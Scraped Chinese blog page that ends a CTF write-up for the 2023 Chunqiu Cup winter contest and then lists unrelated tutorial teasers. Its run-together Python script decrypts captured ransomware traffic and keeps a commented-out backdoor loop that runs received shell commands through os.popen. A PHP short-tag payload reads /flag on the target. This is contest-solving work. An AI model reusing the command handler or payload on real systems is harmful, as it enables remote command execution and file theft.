key = calculate_md5(key)def rc4_encrypt(data, key1):key = bytes(key1, encoding='utf-8')enc = ARC4.new(key)res = enc.encrypt(data.encode('utf-8'))res = base64.b64encode(res)res = str(res, 'utf-8')return resdef rc4_decrypt(data, key1):data = base64.b64decode(data)key = bytes(key1, encoding='utf-8')enc = ARC4.new(key)res = enc.decrypt(data)res = str(res, 'gbk', errors='ignore')return resdef t1(data, timestamp):import refrom datetime import datetime, timedelta# current_time = datetime.now()current_time = datetime.fromtimestamp(timestamp)target_time = current_time.replace(second=0, microsecond=0)timestamp = int(target_time.timestamp())key1 = hex(timestamp)[2:].zfill(8)key1 = re.findall(r'.{2}', key1)key1 = [int(i, 16) for i in key1]data = list(data)for i in range(len(data)):data[i] = chr(ord(data[i]) ^ key1[i % 4])data = ''.join(data)return datadef decrypt(data, key, timestamp):data = t1(data, timestamp)data = rc4_decrypt(data, key)return datadef encrypt(data, key):data = rc4_encrypt(data, key)data = t1(data)return datadef system(cmd):res = os.popen(cmd).read()return res if res else "NoneResult"def main():# ip = '192.168.31.42'# port = 8899# socket_server = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)# socket_server.bind((ip, port))# socket_server.listen(1)# while True:# conn, addr = socket_server.accept()# with conn:# print("connect::", addr)# try:# while True:# data = conn.recv(102400)# # print("server recevie peername and data:", conn.getpeername(), data.decode())# if data:# data = data.decode()# data = decrypt(data, key)# data = json.loads(data)# if data["opcode"] == "shell":# print("shellCMD::", data["msg"])# res = system(data["msg"])# print("res::", res)# conn.sendall(encrypt(res, key).encode())# else:# break# except ConnectionResetError as e:# print("猫驴聹莽篓聥猫驴聻忙聨楼忙聳颅氓录聙")data = "16c3b2c295c3be04c29cc29fc3a90cc39ec2a3c39937c391c3a7c3811cc38bc3a0c39b29c29ac2b1c3b830c3b2c286c3a13cc38ac296c38d13c3a2c29dc3920bc3bac2a8c2bb22c29bc287c3a328c3afc29cc3bd27c390c3a6c38110c381c2a5c381"timestamp = 1705562796.602401000data = bytes.fromhex(data)data = data.decode('utf-8')result = decrypt(data, key, timestamp)print(result)# data = json.loads(data)# if data["opcode"] == "shell":# print("shellCMD::", data["msg"])# res = system(data["msg"])# print("res::", res)if __name__ == '__main__':main()# 运行结果:flag{3741b40e-3185-4a9a-80a6-83403e4942fc}
Ezdede
直接这里传一个短标签:<?=readfile('/flag')?>

直接读flag

可信计算
难蚌

相关文章:
2023年春秋杯网络安全联赛冬季赛 Writeup
文章目录 Webezezez_phppicup Misc谁偷吃了外卖modules明文混淆 Pwnnmanagerbook Reupx2023 CryptoCF is Crypto Faker 挑战题勒索流量Ezdede 可信计算 Web ezezez_php 反序列化打redis主从复制RCE:https://www.cnblogs.com/xiaozi/p/13089906.html <?php c…...
docker安装Rabbitmq教程(详细图文)
目录 1.下载Rabbitmq的镜像 2.创建并运行rabbitmq容器 3.启动web客户端 4.访问rabbitmq的微博客户端 5.遇到的问题 问题描述:在rabbitmq的web客户端发现界面会弹出如下提示框Stats in management UI are disabled on this node 解决方法 (1&#…...
java web mvc-05-JSF JavaServer Faces 入门例子
拓展阅读 Spring Web MVC-00-重学 mvc mvc-01-Model-View-Controller 概览 web mvc-03-JFinal web mvc-04-Apache Wicket web mvc-05-JSF JavaServer Faces web mvc-06-play framework intro web mvc-07-Vaadin web mvc-08-Grails 开源 The jdbc pool for java.(java …...
yolov8 训练voc数据集
yolov8训练 from ultralytics import YOLO# 加载模型 # model YOLO(yolov8n.yaml) # 从YAML构建新模型 # model YOLO(yolov8n.pt) # 加载预训练模型(推荐用于训练) model YOLO(yolov8n.yaml).load(yolov8n.pt) # 从YAML构建并转移权重# 训练模型…...
Python笔记12-多线程、网络编程、正则表达式
文章目录 多线程网络编程正则表达式 多线程 现代操作系统比如Mac OS X,UNIX,Linux,Windows等,都是支持“多任务”的操作系统。 进程: 就是一个程序,运行在系统之上,那么便称之这个程序为一个运…...
X射线中关于高频高压发生器、高清晰平板探测器、大热容量X射线球管、远程遥控系统的解释
高频高压发生器(High Frequency High Voltage Generator) 在医用诊断X射线设备中扮演着关键角色,它主要用于产生并控制用于X射线成像的高压电能。 这种发生器采用高频逆变技术,通过将输入的低电压、大电流转换为高电压、小电流&am…...
【算法】最短路计数(搜索)复习
题目 给出一个 N 个顶点 M 条边的无向无权图,顶点编号为 1 到 N。 问从顶点 1 开始,到其他每个点的最短路有几条。 输入格式 第一行包含 2 个正整数 N,M,为图的顶点数与边数。 接下来 M 行,每行两个正整数 x,y,表…...
html火焰文字特效
下面是代码: <!DOCTYPE html> <html><head><meta charset"UTF-8"><title>HTML5火焰文字特效DEMO演示</title><link rel"stylesheet" href"css/style.css" media"screen" type&quo…...
Redis双写一致性
所有的情况都是再并发情况下存在温蒂 一、先更新数据库,再更新缓存场景-不推荐 当有两个线程A、B,同时对一条数据进行操作,一开始数据库和redis的数据都为1,当线程A去修改数据库,将1改为2,然后线程A在修改…...
html+css+javascript实现贪吃蛇游戏
文章目录 一、贪吃蛇游戏二、JavaScript三、HTML四、CSS五、热门文章 一、贪吃蛇游戏 这是一个简单的用HTML、CSS和JavaScript实现的贪吃蛇游戏示例。 HTML部分: <!DOCTYPE html> <html> <head><title>贪吃蛇游戏</title><styl…...
【K8S】Kubernetes 中滚动发布由浅入深实战
目录 一、Kubernetes中滚动发布的需求背景1.1 滚动发布1.2 滚动发布、蓝绿发布、金丝雀发布的区别 二、Kubernetes中实现滚动发布2.1 定义Kubernetes中的版本2.2 创建 Deployment 资源对象2.2.1 在 Yaml 中定义 Deployment 资源对象2.2.2 执行命令创建 Deployment 资源对象 三、…...
MSP430仿真器使用常见问题
一、 主要是驱动安装问题 有用户反应驱动安装不上,按照用户手册操作一直不能安装成功。 可以尝试如下步骤进行安装。 1. 双击设备管理器中无法安装或者提示有错误的430仿真器设备 选择驱动程序——更新驱动程序 选择手动安装 选择从电脑设备驱动列表中安装 弹出下…...
芯驰E3340软件编译以及更新步骤
打开已有工程File->Open Solution: 东南项目:e3340\boards\e3_324_ref_display\proj\jetour-t1n-fl3\sf\SES 编译:build->build sf 增加头文件和宏定义: 编译完成sf后,进行编译bootloader 东南项目:e3340\boa…...
HCIA——18实验:NAT
学习目标: NAT 学习内容: NAT 1.要求——基本的 2.模型 3.IP分配、规划、优化 1)思路 R2为ISP路由器,其上只能配置ip地址,不得冉进行其他的任何配置—ospf配置 认证 、汇总、沉默接口、加快收敛、缺省路由 PC1-PC2…...
在VBA中使用SQL
VBA在处理大量的数据/计算时如果使用常规方法会比较慢,因此需要对其进行性能优化以提高运行速度,一般的方法是数组计算或者sql计算。SQL计算的速度最快,限制也是最多的,数组速度其次,灵活性也更高 如果要在vba中调用sql处理数据基本可以遵循一个套路,只要修改其中的SQL语…...
vue项目中使用Element多个Form表单同时验证
一、项目需求 在项目中一个页面中需要实现多个Form表单,并在页面提交时需要对多个Form表单进行校验,多个表单都校验成功时才能提交。 二、实现效果 三、多个表单验证 注意项:多个form表单,每个表单上都设置单独的model和ref&am…...
自然语言处理--概率最大中文分词
自然语言处理附加作业--概率最大中文分词 一、理论描述 中文分词是指将中文句子或文本按照语义和语法规则进行切分成词语的过程。在中文语言中,词语之间没有明显的空格或标点符号来分隔,因此需要通过分词工具或算法来实现对中文文本的分词处理。分词的…...
k8s-基础知识(Service,NodePort,CusterIP,NameSpace,资源限制)
Service 它提供了服务程序和外部的各种组件通信的能力: 1 Service 有固定的IP和端口 2 Service 背后是pod在工作 Kubernetes 会给Service分配一个静态 IP 地址,Service自动管理、维护后面动态变化的 Pod 集合,当客户端访问 Serviceÿ…...
【腾讯云】您使用的腾讯云服务存在违规信息,请尽快处理
收到【腾讯云】您使用的腾讯云服务存在违规信息,请尽快处理,如何解决?在腾讯云服务器部署网站提示网站有违规信息如何处理?腾讯云百科txybk告诉各位站长,在腾讯网址安全中心申诉,申诉通过后截图上传给腾讯云…...
深度学习 Day27——J6ResNeXt-50实战解析
🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 | 接辅导、项目定制🚀 文章来源:K同学的学习圈子 文章目录 前言1 我的环境2 pytorch实现DenseNet算法2.1 前期准备2.1.1 引入库2.1.2 设…...
【Axure高保真原型】引导弹窗
今天和大家中分享引导弹窗的原型模板,载入页面后,会显示引导弹窗,适用于引导用户使用页面,点击完成后,会显示下一个引导弹窗,直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…...
MongoDB学习和应用(高效的非关系型数据库)
一丶 MongoDB简介 对于社交类软件的功能,我们需要对它的功能特点进行分析: 数据量会随着用户数增大而增大读多写少价值较低非好友看不到其动态信息地理位置的查询… 针对以上特点进行分析各大存储工具: mysql:关系型数据库&am…...
Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...
leetcodeSQL解题:3564. 季节性销售分析
leetcodeSQL解题:3564. 季节性销售分析 题目: 表:sales ---------------------- | Column Name | Type | ---------------------- | sale_id | int | | product_id | int | | sale_date | date | | quantity | int | | price | decimal | -…...
聊一聊接口测试的意义有哪些?
目录 一、隔离性 & 早期测试 二、保障系统集成质量 三、验证业务逻辑的核心层 四、提升测试效率与覆盖度 五、系统稳定性的守护者 六、驱动团队协作与契约管理 七、性能与扩展性的前置评估 八、持续交付的核心支撑 接口测试的意义可以从四个维度展开,首…...
人工智能(大型语言模型 LLMs)对不同学科的影响以及由此产生的新学习方式
今天是关于AI如何在教学中增强学生的学习体验,我把重要信息标红了。人文学科的价值被低估了 ⬇️ 转型与必要性 人工智能正在深刻地改变教育,这并非炒作,而是已经发生的巨大变革。教育机构和教育者不能忽视它,试图简单地禁止学生使…...
基于IDIG-GAN的小样本电机轴承故障诊断
目录 🔍 核心问题 一、IDIG-GAN模型原理 1. 整体架构 2. 核心创新点 (1) 梯度归一化(Gradient Normalization) (2) 判别器梯度间隙正则化(Discriminator Gradient Gap Regularization) (3) 自注意力机制(Self-Attention) 3. 完整损失函数 二…...
Selenium常用函数介绍
目录 一,元素定位 1.1 cssSeector 1.2 xpath 二,操作测试对象 三,窗口 3.1 案例 3.2 窗口切换 3.3 窗口大小 3.4 屏幕截图 3.5 关闭窗口 四,弹窗 五,等待 六,导航 七,文件上传 …...
uniapp 开发ios, xcode 提交app store connect 和 testflight内测
uniapp 中配置 配置manifest 文档:manifest.json 应用配置 | uni-app官网 hbuilderx中本地打包 下载IOS最新SDK 开发环境 | uni小程序SDK hbulderx 版本号:4.66 对应的sdk版本 4.66 两者必须一致 本地打包的资源导入到SDK 导入资源 | uni小程序SDK …...
给网站添加live2d看板娘
给网站添加live2d看板娘 参考文献: stevenjoezhang/live2d-widget: 把萌萌哒的看板娘抱回家 (ノ≧∇≦)ノ | Live2D widget for web platformEikanya/Live2d-model: Live2d model collectionzenghongtu/live2d-model-assets 前言 网站环境如下,文章也主…...
